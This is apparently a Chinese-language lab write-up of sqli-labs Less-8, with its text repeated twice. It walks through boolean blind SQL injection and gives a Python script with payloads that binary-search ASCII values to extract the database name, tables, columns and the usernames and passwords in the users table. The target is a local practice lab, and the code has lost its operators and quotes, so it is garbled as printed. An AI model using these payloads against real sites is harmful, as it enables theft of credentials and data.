在学习盲注先学习几个函数整型没有变化不是是字符型判断表列为3发现查询不出用盲注来进行判断我们用盲注来判断数据库长度数据库长度为8然后来爆数据库名跑一下数据库import requests import re url http://localhost:8085/sqli/Less-8/?id result for i in range(1,50): low32 high128 while lowhigh: mid(lowhigh)//2 payload1 and ascii(substr(database(),%d,1))%d--%(i,mid)获取数据库名 #payload 1 and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),%d,1))%d)--%(i,mid)获取表 #payload 1 and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()),%d,1))%d)-- % (i, mid)获字段 #payload 1 and (ascii(substr((select group_concat(username,password) from users),%d,1))%d)-- % (i, mid) rrequests.get(urlpayload) if You are in r.text: lowmid1 else: highmid if low128: charchr(low) resultchar print(result)
sql盲注 sqli-lab8
在学习盲注先学习几个函数整型没有变化不是是字符型判断表列为3发现查询不出用盲注来进行判断我们用盲注来判断数据库长度数据库长度为8然后来爆数据库名跑一下数据库import requests import re url http://localhost:8085/sqli/Less-8/?id result for i in range(1,50): low32 high128 while lowhigh: mid(lowhigh)//2 payload1 and ascii(substr(database(),%d,1))%d--%(i,mid)获取数据库名 #payload 1 and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),%d,1))%d)--%(i,mid)获取表 #payload 1 and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()),%d,1))%d)-- % (i, mid)获字段 #payload 1 and (ascii(substr((select group_concat(username,password) from users),%d,1))%d)-- % (i, mid) rrequests.get(urlpayload) if You are in r.text: lowmid1 else: highmid if low128: charchr(low) resultchar print(result)
